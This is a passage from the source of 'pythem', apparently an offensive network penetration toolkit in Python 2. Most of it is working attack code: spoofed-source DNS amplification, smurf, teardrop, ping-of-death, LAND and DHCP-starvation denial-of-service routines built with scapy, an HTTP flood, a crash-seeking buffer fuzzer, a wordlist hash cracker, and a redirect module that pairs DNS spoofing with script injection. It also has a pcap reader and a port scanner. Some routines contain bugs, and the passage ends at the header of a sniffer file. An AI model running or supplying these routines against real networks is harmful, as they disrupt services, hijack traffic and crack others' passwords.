143 | print "[!] Error: {}".format(e)
144 |
145 | def httpflood(self, tgt):
146 | i = 0
147 | # Also will add option to read for a file or auto-generate test-cases for fuzzing purposes
148 | raw_input = "Only GET method are supported, other methods will be implemented on the next version."
149 | while True:
150 | i += 1
151 | sys.stdout.write("\r" + "[+] Requests: [" + str(i) + "]")
152 | sys.stdout.flush()
153 | try:
154 | requests.get(tgt)
155 | except KeyboardInterrupt:
156 | break
157 | pass
158 | except Exception as e:
159 | print "[!] Error: {}".format(e)
160 |
161 | def dnsamplificationstart(self, tgt):
162 | self.tgt = tgt
163 | dns = raw_input("[+] DNS Servers to use in amplification attack(separated by commas): ")
164 | self.dnsservers = []
165 | for s in dns.split(","):
166 | self.dnsservers.append(s)
167 |
168 | try:
169 | print "[+] DNS Amplification denial of service initialized."
170 | for x in range(0, 3):
171 | i = threading.Thread(name="dnsamp", target=self.dnsamplification)
172 | i.setDaemon(True)
173 | i.start()
174 | self.dnsamplification()
175 | except KeyboardInterrupt:
176 | print "[-] DNS Amplification denial of server finalized."
177 | exit(0)
178 | except Exception as e:
179 | print "[!] Exception caught: {}".format(e)
180 |
181 | def dnsamplification(self):
182 | try:
183 | while True:
184 | for server in self.dnsservers:
185 | pkt = IP(dst=server, src=self.tgt) / \
186 | UDP(dport=53, sport=RandNum(1024, 65535)) / \
187 | DNS(rd=1, qd=DNSQR(qname="www.google.com", qtype="ALL", qclass="IN"))
188 | send(pkt, inter=0.0, verbose=False)
189 | except Exception as e:
190 | print "[!] Error: {}".format(e)
191 |
192 | def teardrop(self, target):
193 | # First packet
194 | try:
195 | size = input("[+] First fragment packet size: ")
196 | offset = input("[+] First fragment packet offset: ")
197 | except Exception as e:
198 | print "[!] Error: {}".format(e)
199 | return
200 |
201 | load1 = "\x00" * size
202 | IP_one = IP(dst=target, flags="MF", proto=17, frag=offset)
203 |
204 | # Second packet
205 | try:
206 | size = input("[+] Second fragment packet size: ")
207 | offset = input("[+] Second fragment packet offset: ")
208 | except Exception as e:
209 | print "[!] Error: {}".format(e)
210 | return
211 |
212 | load2 = "\x00" * size
213 | IP_two = IP(dst=target, flags=0, proto=17, frag=offset)
214 |
215 | print "[+] Teardrop UDP fragmentation denial of service initialized."
216 | while True:
217 | try:
218 | send(IP_one / load1, verbose=False)
219 | send(IP_two / load2, verbose=False)
220 | except KeyboardInterrupt:
221 | print "[-] Teardrop UDP fragmentation denial of service finalized."
222 | break
223 |
224 | def icmpsmurfstart(self, tgt):
225 | self.tgt = tgt
226 | try:
227 | multicast = raw_input("[+] IP Address to send echo-requests: ")
228 | print "[+] ICMP smurf denial of service initialized."
229 | for x in range(0, 3):
230 | i2 = threading.Thread(name='icmpsmurf', target=self.icmpsmurf)
231 | i2.setDaemon(True)
232 | i2.start
233 | self.icmpsmurf()
234 | except:
235 | print "[!] Error: check the parameters (target)"
236 |
237 | def icmpsmurf(self):
238 | try:
239 | IP_layer = IP(src=self.tgt, dst=ip)
240 | ICMP_layer = ICMP()
241 | pkt = IP_layer / ICMP_layer
242 | send(pkt, loop=1, inter=0.0, verbose=False)
243 | print "[-] ICMP smurf denial of service finalized."
244 | exit(0)
245 | except Exception as e:
246 | print "[!] Error: {}".format(e)
247 |
248 | def pingofdeath(self):
249 | try:
250 | pkt = fragment(IP(dst=self.tgt) / ICMP() / ("X" * 60000))
251 | send(pkt, loop=1, inter=0.0, verbose=False)
252 | print "[-] Ping Of Death finalized."
253 | exit(0)
254 | except Exception as e:
255 | pass
256 |
257 | def pingofdeathstart(self, target):
258 | self.tgt = target
259 | try:
260 | print "[+] Ping of Death denial of service initialized."
261 | for x in range(0, 3):
262 | i = threading.Thread(name='pingofdeath', target=self.pingofdeath)
263 | i.setDaemon(True)
264 | i.start()
265 | self.pingofdeath()
266 | except Exception as e:
267 | print "[!] Exception caught: {}".format(e)
268 |
269 | def landstart(self, target, port):
270 | self.tgt = target
271 | self.port = port
272 |
273 | try:
274 | print "[+] LAND attack denial of service initialized."
275 | for x in range(0, 3):
276 | i = threading.Thread(name='land', target=self.land)
277 | i.setDaemon(True)
278 | i.start()
279 | self.land()
280 | except Exception as e:
281 | print "[!] Exception caught: {}".format(e)
282 |
283 | def land(self):
284 | try:
285 | pkt = IP(src=self.tgt, dst=self.tgt) / TCP(sport=self.port)
286 | send(pkt, loop=1, inter=0.0, verbose=False)
287 | print "[-] LAND attack finalized."
288 | exit(0)
289 | except Exception as e:
290 | print "[!] Error: {}".format(e)
291 |
292 | def dhcpstarvationstart(self):
293 | try:
294 | print "[+] DHCP starvation denial of service initialized."
295 | self.dhcpstarvation()
296 | except Exception as e:
297 | print "[!] Exception caught: {}".format(e)
298 |
299 | def dhcpstarvation(self):
300 | try:
301 | conf.checkIPaddr = False
302 | dhcp_discover = Ether(src=RandMAC(), dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0",
303 | dst="255.255.255.255") / UDP(sport=68,
304 | dport=67) / BOOTP(
305 | chaddr=RandString(12, '0123456789abcdef')) / DHCP(options=[("message-type", "discover"), "end"])
306 |
307 | try:
308 | sendp(dhcp_discover, loop=1, inter=0.0, verbose=False)
309 | except Exception as e:
310 | print "[!] Exception caught: {}".format(e)
311 |
312 | print "[-] DHCP starvation denial of service finalized."
313 | exit(0)
314 | except Exception as e:
315 | pass
316 |
--------------------------------------------------------------------------------
/pythem/modules/fuzzer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 |
3 | # Copyright (c) 2016-2018 Angelo Moura
4 | #
5 | # This file is part of the program pythem
6 | #
7 | # pythem is free software; you can redistribute it and/or
8 | # modify it under the terms of the GNU General Public License as
9 | # published by the Free Software Foundation; either version 3 of the
10 | # License, or (at your option) any later version.
11 | #
12 | # This program is distributed in the hope that it will be useful, but
13 | # WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15 | # General Public License for more details.
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program; if not, write to the Free Software
18 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
19 | # USA
20 |
21 |
22 | import os
23 | import sys
24 | import struct
25 | import resource
26 | import time
27 | from netaddr import IPAddress, AddrFormatError
28 | from subprocess import *
29 | import socket
30 |
31 |
32 | class SimpleFuzz(object):
33 | name = "Fuzzer"
34 | desc = "Used in the xploit module. simple 'A' generation through tcp or stdin"
35 | version = "0.3"
36 |
37 | def __init__(self, target, type, offset):
38 | self.offset = offset
39 | self.target = target
40 | if type == "test":
41 | return
42 | if type == "tcp":
43 | self.port = input("[+]Enter the tcp port to fuzz: ")
44 | self.tcpfuzz()
45 | elif type == "stdin":
46 | self.stdinfuzz()
47 | else:
48 | print "[!] Select a valid fuzzer type (stdin or tcp)."
49 |
50 | def stdinfuzz(self):
51 | buf = ''
52 | while True:
53 | try:
54 | first = True
55 | buf += '\x41' * self.offset
56 | resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))
57 | resource.setrlimit(resource.RLIMIT_CORE, (-1, -1))
58 | P = Popen(self.target, stdin=PIPE)
59 | print "[*] Sending buffer with lenght: " + str(len(buf))
60 | P.stdin.write(buf + '\n')
61 | line = sys.stdin.readline()
62 | P.poll()
63 | ret = P.returncode
64 |
65 | if ret is None:
66 | continue
67 | else:
68 | if ret == -4:
69 | print "\n[+] Instruction Pointer may be at: {}\n".format(str(len(buf)))
70 | break
71 | elif ret == -7:
72 | print "\n[+] Instruction Pointer may be near: {}\n".format(str(len(buf)))
73 | print "[*] Child program crashed with code: %d\n" % ret
74 | continue
75 | elif ret == -11:
76 | print "[*] Child program crashed with SIGSEGV code: %d\n" % ret
77 | print "\n[*] Hit enter to continue.\n"
78 | continue
79 | else:
80 | print "[*] Child program exited with code: %d\n" % ret
81 | print "\n[*] Hit enter to continue.\n"
82 | continue
83 |
84 |
85 | except KeyboardInterrupt:
86 | break
87 |
88 | def tcpfuzz(self):
89 | buf = ''
90 | try:
91 | self.target = str(IPAddress(self.target))
92 | except AddrFormatError as e:
93 | try:
94 | self.target = socket.gethostbyname(self.target)
95 | except Exception as e:
96 | print "[-] Select a valid IP Address as target."
97 | print "[!] Exception caught: {}".format(e)
98 | return
99 |
100 | buf = '\x41' * self.offset
101 | print "[+] TCP fuzzing initialized, wait untill crash."
102 | while True:
103 | try:
104 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
105 | self.socket.settimeout(2)
106 | self.socket.connect((self.target, self.port))
107 | print "[+] Fuzzing with [{}] bytes.".format(len(buf))
108 |
109 | try:
110 | response = self.socket.recv(1024)
111 | print "[*] Response: {}".format(response)
112 | self.socket.send(buf)
113 |
114 | try:
115 | response = self.socket.recv(1024)
116 | print "[*] Response: {}".format(response)
117 | self.socket.close()
118 | buf += '\x41' * self.offset
119 | except:
120 | self.socket.close()
121 | buf += '\x41' * self.offset
122 | except:
123 | self.socket.send(buf)
124 | try:
125 | response = self.socket.recv(1024)
126 | print "[*] Response: {}".format(response)
127 | self.socket.close()
128 | buf += '\x41' * self.offset
129 | except:
130 | self.socket.close()
131 | buf += '\x41' * self.offset
132 |
133 | except KeyboardInterrupt:
134 | break
135 | except Exception as e:
136 | if 'Connection refused' in e:
137 | print "[-] Connection refused."
138 | time.sleep(4)
139 |
140 | else:
141 | try:
142 | response = self.socket.recv(1024)
143 | print "[*] Response: {}".format(response)
144 | except Exception as e:
145 | if 'timed out' in e:
146 | print "[-] Timed out."
147 | time.sleep(2)
148 |
149 | print "[+] Crash occured with buffer length: {}".format(str(len(buf)))
150 | print "[!] Exception caught: {}".format(e)
151 |
--------------------------------------------------------------------------------
/pythem/modules/hashcracker.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 |
23 | from hashlib import *
24 | from sys import argv
25 |
26 |
27 | class HashCracker(object):
28 |
29 | def __init__(self, hash=None, wordlist=None):
30 | if not hash:
31 | self.hash = raw_input("[+] Enter the Hash: ")
32 | else:
33 | self.hash = hash
34 |
35 | if not wordlist:
36 | wordlist = raw_input("[+] Select file as wordlist: ")
37 |
38 | self.wordlist = open(wordlist, "r")
39 | print "[+] Supported Hashes: md5, sha1, sha224, sha256, sha512"
40 | hash_type = {32: "md5", 40: "sha1", 56: "sha224", 64: "sha256", 128: "sha512"}
41 |
42 | try:
43 | print "[+] Most likely: {}".format(hash_type[len(self.hash)])
44 | except:
45 | pass
46 |
47 | self.type = raw_input("[+] Hash: ")
48 | self.hashcrack()
49 |
50 | def hashcrack(self):
51 | found = False
52 | if self.type.lower() == "md5":
53 | for word in self.wordlist:
54 | if md5(word).hexdigest() == self.hash:
55 | print "[+] MD5 Cracked: {}".format(word)
56 | found = True
57 |
58 | if self.type.lower() == "sha1":
59 | for word in self.wordlist:
60 | if sha1(word).hexdigest() == self.hash:
61 | print "[+] SHA1 Cracked: {}".format(word)
62 | found = True
63 |
64 | if self.type.lower() == "sha224":
65 | for word in self.wordlist:
66 | if sha224(word).hexdigest() == self.hash:
67 | print "[+] SHA224 Cracked: {}".format(word)
68 | found = True
69 |
70 | if self.type.lower() == "sha256":
71 | for word in self.wordlist:
72 | if sha256(word).hexdigest() == self.hash:
73 | print "[+] SHA256 Cracked: {}".format(word)
74 | found = True
75 |
76 | if self.type.lower() == "sha512":
77 | for word in self.wordlist:
78 | if sha512(word).hexdigest() == self.hash:
79 | print "[+] SHA512 Cracked: {}".format(word)
80 | found = True
81 |
82 | if not found:
83 | print "[!] Hash crack failed, try with another wordlist."
84 |
85 |
86 | if __name__ == "__main__":
87 | HashCracker(argv[1], argv[2])
88 |
--------------------------------------------------------------------------------
/pythem/modules/pforensic.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 | from scapy.all import *
23 | import sys
24 | import os
25 | import termcolor
26 | from utils import color
27 |
28 |
29 | class PcapReader(object):
30 | name = "Simple pcap analyzer"
31 | desc = "Use some functions to analyze a pcap file"
32 | version = "0.3"
33 | obs = "need to filter for images and decode encoded gzip content"
34 |
35 | def __init__(self, file):
36 | try:
37 | self.file = file
38 | self.packets = rdpcap(file)
39 | except:
40 | if file == "pythem_module_test":
41 | return
42 | print "You probably forgot to set a file to be analyzed."
43 |
44 | def printHelp(self):
45 | print
46 | print color(" [ pythem - Forensic pcap reader ]", "grey")
47 | print
48 | print color(" FILE - [ {} ]".format(self.file), "red")
49 | print
50 | print
51 | print color("[*] help: Print the help message", "blue")
52 | print
53 | print
54 | print color("[*] clear: Clean the screen, same as GNU/Linux OS 'clear'", "blue")
55 | print
56 | print
57 | print color("[*] exit/quit: Return to pythem", "blue")
58 | print
59 | print
60 | print color("[*] show: Display all the packets and their index numbers.", "blue")
61 | print
62 | print
63 | print color(
64 | "[*] conversations: Display pictogram with conversations between hosts from the analyzed file.",
65 | "blue")
66 | print
67 | print
68 | print color("[*] filter : Run a custom filter in the packets.", "blue")
69 | print
70 | print
71 | print color("[*] packetdisplay [num]: Display the full content of index selected packet.", "blue")
72 | print
73 | print
74 | print color("[*] count : Display how much packets the .pcap file have.", "blue")
75 |
76 | def custom_filter(self, packets, filter):
77 | x = 0
78 | if filter == "string":
79 | from StringIO import StringIO
80 |
81 | try:
82 | find = raw_input("[+] String to search on packets (case sensitive): ")
83 | for p in packets:
84 | capture = StringIO()
85 | save_stdout = sys.stdout
86 | sys.stdout = capture
87 | p.show()
88 | sys.stdout = save_stdout
89 | pkt = "\r\n\n\n------------------------[Packet n:{}]------------------------\r\n".format(x)
90 | end = "\r\n------------------------------------------------------------\r\n"
91 |
92 | if find in capture.getvalue():
93 | print pkt
94 | p.show()
95 | print end
96 |
97 | x += 1
98 | except KeyboardInterrupt:
99 | print "[-] User requested shutdown."
100 | except Exception as e:
101 | print "[!] Exception caught: {}".format(e)
102 |
103 | elif filter == "layer":
104 | try:
105 | find = raw_input("[+] Layer to search on packets (uppercase): ")
106 | for p in packets:
107 | pkt = "\r\n\n\n------------------------[Packet n:{}]------------------------\r\n".format(x)
108 | end = "\r\n------------------------------------------------------------\r\n"
109 | if p.haslayer(find):
110 | print pkt
111 | p.show()
112 | print end
113 |
114 | x += 1
115 | except KeyboardInterrupt:
116 | print "[-] User requested shutdown."
117 | except Exception as e:
118 | print "[!] Exception caught: {}".format(e)
119 |
120 |
121 | else:
122 | print "[-] Select a valid filter: 'string' or 'layer'"
123 | return
124 |
125 | def start(self):
126 | while True:
127 | try:
128 | console = termcolor.colored("pforensic>", "yellow", attrs=["bold"])
129 | self.command = raw_input("{} ".format(console))
130 | self.argv = self.command.split()
131 | self.input_list = [str(a) for a in self.argv]
132 |
133 | try:
134 | if self.input_list[0] == 'packetdisplay':
135 | try:
136 | self.packets[int(self.input_list[1])].show()
137 | except Exception as e:
138 | print "[!] Exception caught: {}".format(e)
139 |
140 | elif self.input_list[0] == "filter":
141 | try:
142 | self.filter = self.input_list[1]
143 | self.custom_filter(self.packets, self.filter)
144 | except IndexError:
145 | print "[!] Select a option to filter, string or layer"
146 | except Exception as e:
147 | print "[!] Exception caught: {}".format(e)
148 |
149 | elif self.input_list[0] == 'packetload':
150 | try:
151 | print "[+] Packet {} payload: ".format(self.input_list[1])
152 | self.filter_lookup(self.packets[int(self.input_list[1])])
153 |
154 | except Exception as e:
155 | print "[!] Exception caught: {}".format(e)
156 |
157 | elif self.input_list[0] == 'exit':
158 | break
159 | elif self.input_list[0] == 'quit':
160 | break
161 | elif self.input_list[0] == 'help':
162 | self.printHelp()
163 | elif self.input_list[0] == 'clear':
164 | os.system('clear')
165 | elif self.input_list[0] == 'ls':
166 | os.system('ls')
167 | elif self.input_list[0] == 'summary':
168 | try:
169 | self.packets.summary()
170 | except Exception as e:
171 | print "[!] Exception caught: {}".format(e)
172 | elif self.input_list[0] == 'show':
173 | try:
174 | self.packets.show()
175 | except Exception as e:
176 | print "[!] Exception caught: {}".format(e)
177 | elif self.input_list[0] == 'count':
178 | try:
179 | print "[+] Number of packets: {}".format(len(self.packets))
180 | except Exception as e:
181 | print "[!] Exception caught: {}".format(e)
182 | elif self.input_list[0] == 'conversations':
183 | try:
184 | self.packets.conversations()
185 | except Exception as e:
186 | print "[!] Exception caught: {}".format(e)
187 | else:
188 | print "[-] Select a valid option."
189 |
190 | except IndexError:
191 | pass
192 | except KeyboardInterrupt:
193 | break
194 |
--------------------------------------------------------------------------------
/pythem/modules/redirect.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # Copyright (c) 2016-2018 Angelo Moura
4 | #
5 | # This file is part of the program pythem
6 | #
7 | # pythem is free software; you can redistribute it and/or
8 | # modify it under the terms of the GNU General Public License as
9 | # published by the Free Software Foundation; either version 3 of the
10 | # License, or (at your option) any later version.
11 | #
12 | # This program is distributed in the hope that it will be useful, but
13 | # WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15 | # General Public License for more details.
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program; if not, write to the Free Software
18 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
19 | # USA
20 |
21 | import socket
22 | import sys
23 | import threading
24 |
25 |
26 | class Redirect(object):
27 | name = "Redirect"
28 | desc = "Redirect to page with script then let client go"
29 | version = "0.3"
30 | ps = "Will need to change the way of injection to netfilter packet injection."
31 |
32 | def __init__(self, host, port, js):
33 | self.host = host
34 | self.port = port
35 | from dnspoisoner import DNSspoof
36 | self.dnsspoof = DNSspoof(self.host)
37 | if js != None:
38 | self.js = js
39 | else:
40 | try:
41 | self.js = raw_input("[+] Enter the script source: ")
42 | except KeyboardInterrupt:
43 | pass
44 |
45 | self.response = """ HTTP/1.1 200 OK
46 | Date: Thu, 12 Apr 2016 15:25 GMT
47 | Server: Apache/2.2.17 (Unix) mod ssl/2.2 17 OpenSSL/0.9.8l DAV/2
48 | Last-Modified: Sat, 28 Aug 2015 22:17:02 GMT
49 | ETag: "20e2b8b-3c-48ee99731f380"
50 | Accept-Ranges: bytes
51 | Content-Lenght: 90
52 | Connection: close
53 | Content-Type: text/html
54 |
55 |
56 |
57 |
58 |
59 | """.format(self.js)
60 |
61 | def start(self):
62 | self.t = threading.Thread(name='Redirection', target=self.server)
63 | self.t.setDaemon(True)
64 | self.t.start
65 |
66 | def stop(self):
67 | try:
68 | self.t.stop()
69 | print "[-] Redirect with script injection finalized."
70 | except Exception as e:
71 | print "[!] Exception caught: {}".format(e)
72 |
73 | def server(self):
74 | print "[+] Redirect with script injection initialized."
75 | self.dnsspoof.start(None, "Inject")
76 |
77 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
78 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
79 | server_address = (self.host, self.port)
80 | print '[+] Injection URL - http://{}:{}'.format(self.host, self.port)
81 | server.bind(server_address)
82 | server.listen(1)
83 |
84 | for i in range(0, 2):
85 | if i >= 1:
86 | domain = self.dnsspoof.getdomain()
87 | domain = domain[:-1]
88 | print "[+] Target was requesting: {}".format(domain)
89 | self.dnsspoof.stop()
90 |
91 | try:
92 | connection, client_address = server.accept()
93 | redirect = self.response + """ """.format(
94 | domain)
95 | connection.send("%s" % redirect)
96 | print "[+] Script Injected on: ", client_address
97 | connection.shutdown(socket.SHUT_WR | socket.SHUT_RD)
98 | connection.close()
99 | except KeyboardInterrupt:
100 | server.close()
101 |
102 | try:
103 | connection, client_address = server.accept()
104 | connection.send("%s" % self.response)
105 | connection.shutdown(socket.SHUT_WR | socket.SHUT_RD)
106 | connection.close()
107 | except KeyboardInterrupt:
108 | server.close()
109 |
--------------------------------------------------------------------------------
/pythem/modules/scanner.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 | from scapy.all import *
23 | from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
24 | import random
25 | import sys
26 | import os
27 | import socket
28 |
29 |
30 | class Scanner(object):
31 | name = "Multi purpose scanner"
32 | desc = "Scan hosts"
33 | version = "0.8"
34 |
35 | def __init__(self, target, interface, mode):
36 | self.interface = interface
37 | self.targets = target
38 | self.arprange = target
39 | self.range = self.get_range(target)
40 | self.portRange = [21, 22, 23, 25, 53, 57, 79, 80, 107, 109, 110, 111, 115, 118, 123, 135, 137, 138, 139, 143,
41 | 161, 389, 443, 445, 465, 995, 1025, 1026, 1027, 1035, 1234, 1243, 3000, 3128, 3306, 3389,
42 | 3872, 4444, 5000, 5001, 5002, 5003, 5004, 5005, 5006, 5100, 5190, 5222, 5223, 5228, 5631,
43 | 5632, 5900, 6000, 6005, 6346, 6667, 6667, 8080, 8443, 8888, 9999, 12345, 12346, 16660, 18753,
44 | 20034, 20432, 20433, 27374, 27444, 27665, 31335, 31337, 33270, 33567, 33568, 40421, 60008,
45 | 65000]
46 | self.mode = mode
47 | self.portManual = None
48 |
49 | def get_range(self, targets):
50 | if targets is None:
51 | return None
52 | if targets is not None:
53 | try:
54 | target_list = []
55 | for target in targets.split(','):
56 | if '/' in target:
57 | target_list.extend(list(IPNetwork(target)))
58 |
59 | elif '-' in target:
60 | start_addr = IPAddress(target.split('-')[0])
61 |
62 | try:
63 | end_addr = IPAddress(target.split('-')[1])
64 | ip_range = IPRange(start_addr, end_addr)
65 | except AddrFormatError:
66 | end_addr = list(start_addr.words)
67 | end_addr[-1] = target.split('-')[1]
68 | end_addr = IPAddress('.'.join(map(str, end_addr)))
69 | ip_range = IPRange(start_addr, end_addr)
70 |
71 | target_list.extend(list(ip_range))
72 |
73 | else:
74 | target_list.append(IPAddress(target))
75 |
76 | return target_list
77 |
78 | except Exception as e:
79 | try:
80 | target = socket.gethostbyname(self.targets)
81 | target_list.append(target)
82 | return target_list
83 | except:
84 | print "[!] Exception caught: {}".format(e)
85 |
86 | def portScan(self, hosts, ports):
87 | for dstPort in self.ports:
88 | srcPort = random.randint(1025, 65534)
89 | resp = sr1(IP(dst=self.targetip) / TCP(sport=srcPort, dport=dstPort, flags="S"), timeout=1, verbose=0)
90 | if (str(type(resp)) == ""):
91 | pass
92 | elif (resp.haslayer(TCP)):
93 | if (resp.haslayer(TCP)):
94 | if (resp.getlayer(TCP).flags == 0x12):
95 | send_rst = sr(IP(dst=self.targetip) / TCP(sport=srcPort, dport=dstPort, flags="R"), timeout=1,
96 | verbose=0)
97 | print "\n [+] {}:{} is open.".format(self.targetip, str(dstPort))
98 | s = socket.socket()
99 | s.settimeout(1)
100 | try:
101 | if dstPort == 80 or dstPort == 8080:
102 | msg = "GET / HTTP/1.1\r\n\r\n"
103 | s.connect((self.targetip, dstPort))
104 | s.send(msg)
105 | resp = s.recv(1024)
106 | if resp:
107 | resp, garbage = resp.split("\r\n\r\n")
108 | for l in resp.split("\n"):
109 | print " |{}".format(l)
110 | s.close()
111 |
112 | elif dstPort == 21:
113 | from ftplib import FTP
114 | ftp = FTP('{}'.format(self.targetip))
115 | ftpm = ftp.getwelcome()
116 | for l in ftpm.split("\n"):
117 | print " |{}".format(l)
118 | s.close()
119 |
120 | elif dstPort == 22:
121 | s.connect((self.targetip, dstPort))
122 | resp = s.recv(1024)
123 | for l in resp.split("\n"):
124 | print " |{}".format(l)
125 | s.close()
126 |
127 | else:
128 | s.connect((self.targetip, dstPort))
129 | resp = s.recv(1024)
130 | for l in resp.split("\n"):
131 | print " |{}".format(l)
132 | s.close()
133 |
134 | except:
135 | pass
136 |
137 | elif (resp.haslayer(ICMP)):
138 | if (int(resp.getlayer(ICMP).type) == 3 and int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]):
139 | print " [*]\n {}:{} is filtered.".format(self.targetip, str(dstPort))
140 |
141 | def MANUALscanner(self):
142 | liveCounter = 0
143 | self.portManual = raw_input("[+] Enter the port, ports (separated by commas): ")
144 | self.ports = []
145 | for p in self.portManual.split(","):
146 | self.ports.append(int(p))
147 | print "\n[+] Manual TCP Scan initialized..."
148 | for target in self.range:
149 | self.targetip = str(target)
150 | resp = sr1(IP(dst=str(self.targetip)) / ICMP(), timeout=3, verbose=0)
151 | if (str(type(resp)) == ""):
152 | print "\n[*]" + str(self.targetip) + " is down or not responding.\n"
153 | elif (int(resp.getlayer(ICMP).type) == 3 and int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]):
154 | print "\n[*]" + str(self.targetip) + " is blocking ICMP.\n"
155 | else:
156 | print "\n[*]" + str(self.targetip) + " is online: "
157 | self.portScan(str(self.targetip), self.portManual)
158 | liveCounter += 1
159 |
160 | print "\n[*] Of " + str(len(self.range)) + " scanned hosts, " + str(liveCounter) + " are online.\n"
161 |
162 | def TCPscanner(self):
163 | liveCounter = 0
164 | self.ports = self.portRange
165 | print "\n[+] TCP Scan initialized..."
166 | for target in self.range:
167 | self.targetip = str(target)
168 | resp = sr1(IP(dst=str(self.targetip)) / ICMP(), timeout=3, verbose=0)
169 | if (str(type(resp)) == ""):
170 | print "\n[*]" + str(self.targetip) + " is down or not responding.\n"
171 | elif (int(resp.getlayer(ICMP).type) == 3 and int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]):
172 | print "\n[*]" + str(self.targetip) + " is blocking ICMP.\n"
173 | else:
174 | print "\n[*]" + str(self.targetip) + " is online: "
175 | if (int(resp.getlayer(IP).ttl)) <= 64 and (int(resp.getlayer(IP).ttl)) > 32:
176 | os_guess = "Linux/Unix"
177 | elif (int(resp.getlayer(IP).ttl)) <= 128 and (int(resp.getlayer(IP).ttl)) > 64:
178 | os_guess = "Windows"
179 | elif (int(resp.getlayer(IP).ttl)) <= 255 and (int(resp.getlayer(IP).ttl)) > 128:
180 | os_guess = "IOS Cisco Routers"
181 | else:
182 | os_guess = "N/A"
183 |
184 | print " TTL / OS Guess : {} ({})".format(str(resp[IP].ttl), os_guess)
185 | self.portScan(str(self.targetip), self.portRange)
186 | liveCounter += 1
187 |
188 | print "\n[*] Of " + str(len(self.range)) + " scanned hosts, " + str(liveCounter) + " are online.\n"
189 |
190 | def ARPscanner(self):
191 | try:
192 | print "\n[+] ARP Scan initialized...\n"
193 | print "\n[!] Wait untill complete.\n"
194 | conf.verb = 0
195 | ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=self.arprange), timeout=2, iface=self.interface,
196 | inter=0.1)
197 | for snd, rcv in ans:
198 | print rcv.sprintf(r"[+] IP: %ARP.psrc% has the MAC: %Ether.src%")
199 | print "\n[*] ARP Scan completed !\n"
200 |
201 | except KeyboardInterrupt:
202 | print "\n[*] User requested shutdown."
203 | sys.exit(1)
204 |
205 | def start(self):
206 | if self.mode == 'manual':
207 | try:
208 | self.MANUALscanner()
209 | except KeyboardInterrupt:
210 | print "[*] User requested shutdown."
211 | os.system('kill %d' % os.getpid())
212 | sys.exit(1)
213 |
214 | elif self.mode == 'tcp':
215 | try:
216 | self.TCPscanner()
217 | except KeyboardInterrupt:
218 | print "[*] User requested shutdown."
219 | os.system('kill %d' % os.getpid())
220 | sys.exit(1)
221 |
222 | elif self.mode == 'arp':
223 | try:
224 | self.socket = conf.L2socket(iface=self.interface)
225 | self.ARPscanner()
226 | except KeyboardInterrupt:
227 | print "[*] User requested shutdown."
228 | os.system('kill %d' % os.getpid())
229 | sys.exit(1)
230 |
231 | else:
232 | print "[!] Invalid scan mode ./pythem.py --help to check your sintax."
233 |
--------------------------------------------------------------------------------
/pythem/modules/sniffer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
